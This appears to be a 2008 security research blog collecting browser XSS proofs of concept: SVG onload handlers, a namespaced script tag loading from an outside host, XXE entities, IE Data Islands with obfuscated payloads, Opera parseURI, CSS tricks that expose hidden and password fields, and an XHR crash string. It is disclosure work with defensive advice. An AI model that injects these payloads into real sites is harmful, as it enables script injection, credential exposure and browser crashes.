Showing posts with label opera. Show all posts
Showing posts with label opera. Show all posts

November 26, 2008

SVG and more XML fun

Intro

SVG has first been published as recommendation by the W3C around 2001 as a compound solution for browsers to render scalable vector graphics combined with text. Most browsers natively understand the format and even the Internet Explorer is capable of rendering SVGs with help of a plug-in provided by Adobe. The contents being rendered can be influenced by either the contents of the embedded SVG file itself, inline SVG code if the embedding site provides the correct headers and namespaces and of course the SVGDOM - which allows animations.

Code

Firefox 3 and others currently provide several ways of rendering embedded SVGs - amongst other via OBJECT and EMBED tags. IMG tags are not supported yet but probably soon will be. Since more and more web applications start to utilize SVGs it's important to point out the risks attached to this XML subset. Let's have a look at some code

<?xml version="1.0" encoding="UTF-8"?>
<html xmlns="http://www.w3.org/1999/xhtml">
   <object data="test.svg"></object>
</html>

Here we have the corresponding SVG file.

<svg xmlns="http://www.w3.org/2000/svg">
   <image onload="alert(1)"></image>
   <svg onload="alert(2)"></svg>
   <script>alert(3)</script>
   <defs onload="alert(4)"></defs>
   <g onload="alert(5)">
       <circle onload="alert(6)" />
       <text onload="alert(7)"></text>
   </g>
</svg>

The above example shows several ways of executing JavaScript via an embedded SVG. But even more interesting is the way of using inline SVG - like shown below.

<?xml version="1.0" encoding="UTF-8"?>
<html xmlns="http://www.w3.org/1999/xhtml"
     xmlns:svg="http://www.w3.org/2000/svg">
<svg:g onload="alert(8)"/>
</html>

Firefox, Chrome and Opera even go that far allowing IMAGE tags - which work like regular IMG tags and cooperate with the events you would expect.

<image src="x" onerror="alert(1)"></image>

Conclusion

As we can see any node inside an SVG file can successfully be equipped with an load event handler. The combination of this fact with rogue SVGs being uploaded can lead to serious trouble. But what if we start to forget the SVG file and take a look at the namespaces and possibilities to inject markup that doesn't look like XHTML - but will be rendered as such?

<html xmlns:ø="http://www.w3.org/1999/xhtml">
   <ø:script src="//0x.lv/" />
</html>

The above example works in either Firefox' latest revisions, Safari, Chrome and of course Opera. Internet Explorer will neither execute the JavaScript nor render the whole site since it has still problems with XHTML and beyond. This is not new and a more overheaded variation of this vector has already been added to the XSS cheat sheet.

From the developer's perspective it's important to take care what happens inside the SVGs cavorting on a website. If it's even allowed for users to upload SVGs there's no way around scanning the content of the incoming SVG files to avoid persistent XSS vulnerabilities.

November 07, 2008

Fun with XXE, Data Islands and parseURI

Intro

Since the browser that changed it all was released in early 1999 most of the major payers in this section have been toying around with XML, processing, displaying and transforming it. Thus most browsers know one or a lot more ways to fetch data from other resources, work with DTDs and entities. Some of them are being shown and explained in this article.

Code

Firefox and all other major browsers but IE implemented an XML feature called XXE - XML eXternal Entities. Securiteam wrote about this issue many years ago and it found a kind of resurrection in the Google Caja Wiki. Basicaly XXE means it's possible to define entities for complete strings and markup stripes in the DOCTYPE area of the sites header.

<!DOCTYPE xss
[
<!ENTITY x "<script>alert(this)</script>">
]
>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
&x;
</head>
</html>

Unfortunately is doesn't seem to be possible to inherit the entities from the site itself to embedded frames or IFrames. Otherwise it would have been possible to inject tons of script code with just a combination or &, some word characters and a semicolon.

Internet Explorer covers its ignorance against XXE with a feature called Data Islands. This allows to add a XML tag to the document linking to a resource containing valid XML. If the parser later on finds certain attributes in the DOM the data from the XML is being checked for a match and if everything fits right applied to the markup.

There are some basic security rules that forbid the data from the XML file to be applied to a script tag or escaping certain special chars before they are placed in the DOM - but that can be easily circumvented.

<html>
<body>
<xml id="xss" src="island.xml"></xml>
<label
onmouseover=eval(this.innerHTML)
style=color:#fff;display:block;width:100%;height:100%
datasrc=#xss
datafld=payload>

Here we can see the corresponding XML data with embedded JavaScript code. Surprisingly this time IE had problems with parsing the data when being encoded to UTF-7 - we only managed to get the script code being executed in combination with ISO or UTF-8 encoding.

<?xml version="1.0"?>
<x>
<payload>
document.write(
String.fromCharCode(
60,105,109,103,32,115,114,99,61,120,32,111,110,
101,114,114,111,114,61,97,108,101,114,116,40,34,
88,83,83,34,41,62
)
)
</payload>
</x>

When using the dataformatas parameter it's even possible to treat the incoming XML data as HTML. IE8 won't allow script tags but can be fooled to execute JavaScript code via img tag and error handler. Here's the markup:

<html>
<body>
<xml id="xss" src="island.xml"></xml>
<label dataformatas="html" datasrc="#xss" datafld="payload"></label>
</body>
</html>

Andthe corresponding Data Island code:

<?xml version="1.0"?>
<x>
   <payload>
       <![CDATA[<img src=x onerror=alert(top)>>]]>
   </payload>
</x>

Opera knows XXE as well as Safari and Chrome - but of course no Data Islands. But Opera also features another way of fetching XML content into the DOM. The function is called parseURI and is a method of the the LSParser class which is located in the document.implementation object. All those features are documented in the DOM Level 3 Load and Save specs.

<script>
var parser = document.implementation.createLSParser(1, null);
var mdlfile = parser.parseURI('data:;,<x>document.write(String.fromCharCode(88,83,83))</x>');
eval(mdlfile.documentElement.text)
</script>

The method can neither access off-domain resources nor the file system, opera: or javascript: URIs. But dataURIs are allowed and thus the content of the string to parse can be chosen quite arbitrarily. Of course this time one can go all the ways and encode the string to UTF-7, base64 or whatever is necessary.

Conclusion

One might wonder that browser vendors are each and everyone brewing their own sub-standards and XML soups. Any solution has its flaws but no one besides the Opera allows to include data which is not located on the same domain. Once parseURI can be executed combined with a dataURI the possibilities are endless - and it's very hard to determine origin and content of the payload. For all other described variants one has to have at least an XML file lying around on the same domain.

It's 2008 right now and browser vendors seems to have learned what the cross domain border is. None of the techniques was able to download content from off-domain resources - except the dataURI issue with parseURI and Opera. Opera by the way features a lot more methods and properties inside the document.implementation object which we will shed more light on in later articles.

November 03, 2008

Hidden fields vs. CSS

Intro

A hidden field is supposed to be hidden - invisible for the user as long as he uses an unmodified browser and isn't watching the sources via view-source: or similar. Not to forget the agnostic regarding mouseover, error, load, focus and other events. So for example if an attacker manages to inject content into one of the hidden field's attributes and can't break out the attack window is very small.

Some markup

So it's not very surprising that most user agents treat a hidden field as hidden - no matter what styles have been applied to the element. The following code should thus result in a plain white page without any visible elements or even event handlers waiting for interaction.

<html>
<head>
</head>
<body>
<form action="#">
<input type="hidden" id="hidden" value="secret!" />
</form>
</body>
</html>
<style>
input[type=hidden] {
 display: block;
 height: 100px;
 border: 2px solid red;
}
</style>
<script>
document.getElementById('hidden').onmouseover = function(){
 alert(this.value);
};
</script>

And yes - all browsers show a white page - IE6-8, Chrome, Opera, even Safari. Only Firefox shows a big red bordered bar which responses with an alert when hovered with the cursor. The element can even be selected via CSS pseudo classes.

<html>
<head>
</head>
<body>
<form action="#">
<input type="hidden" id="hidden" value="secret!" />
</form>
</body>
</html>
<style>
input[type=hidden] {
 display: block;
 height: 100px;
 border: 2px solid red;
}
input:hover {
 border: 2px solid green;
}
</style>

Of course it's also possible to extract password field values with that technique

<html>
<head>
<style>
input {
 a:expression(alert(this.value));
}
</style>
</head>
<body>
<form action="#">

<input
 type="password"
 value="secret!"
/>
</form>
</body>
</html>

Opera by the way provides a very special way to extract passwords in clear text - with the :after or :before pseudo classes and the attr() value for the content property.

<html>
<head>
<style>
input[type=password]:after {
 content: attr(value);
}
</style>
</head>
<body>
<form action="#">

<input
 type="password"
 value="secret!"
/>
</form>
</body>
</html>

We are losing track with the password fields - and will be talking about them in a later article anyway so back to the hidden fields.

In IE6-8b2 you can of course inject expression() CSS - but the CSS selector input[type=hidden] doesn't work. So surprisingly it's possible to select just input and filter the hidden fields in the expression statement afterwards with just input as selector.

Conclusion

IE6-8 allow to select hidden input fields with CSS and bind JavaScript code. That's not very nice but possible to coexist with. Firefox on the other hand really shows how not to do it again. Making hidden fields visible with CSS is definitely crossing a border - at least the one between data and presentation.

It's also possible in FF3 to select hidden fields via CSS - be it with input[type="hidden"], input[type^="hid"], input[type$="den"], input[type|="hidden"] or even input[type~="hidden"].

And just by the way - this shouldn't be possible either:

<html>
<body>
<form action="#">
<input type="hidden" id="hidden" value="secret!" />
</form>
</body>
</html>

<label for="hidden">Click</label>
<script>
document.getElementById('hidden').onclick = function(){
  alert(this.value);
};
</script>

XHR Request method fuzzing

Intro

The JavaScript XHR API allows the developer to chose the used request method - and surprisingly most user agents don not validate this value before actually firing the request. This leads to certain interesting problems - like the following code shows.

Code

Here we chose a very long string consisting of $ signs - string length should be around 8 million characters.

<html>
<head>
<body>
<script>
    var x = new XMLHttpRequest();
    var m = '$$';
    for(var i=0; i <= 21; i++) {
        m += m;
    }
    x.open(m, '404.html', false);
    x.send(null);
</script>
</body>
</html>

Conclusion

The result of the above code being executed is surprising. The latest Chrome release for example crashes in terror producing pop ups all over the screen. Firefox most times freezes the whole system for a long time - but no real crashes yet. Safari just dies silently and Opera isn't impressed at all. IE7 and 8 throw an error message about an invalid argument - indicating a working white-list too.

These examples again show why validation is important for all values being editable by the user, developer or attacker. The Chrome issue has by the way been reported several weeks ago.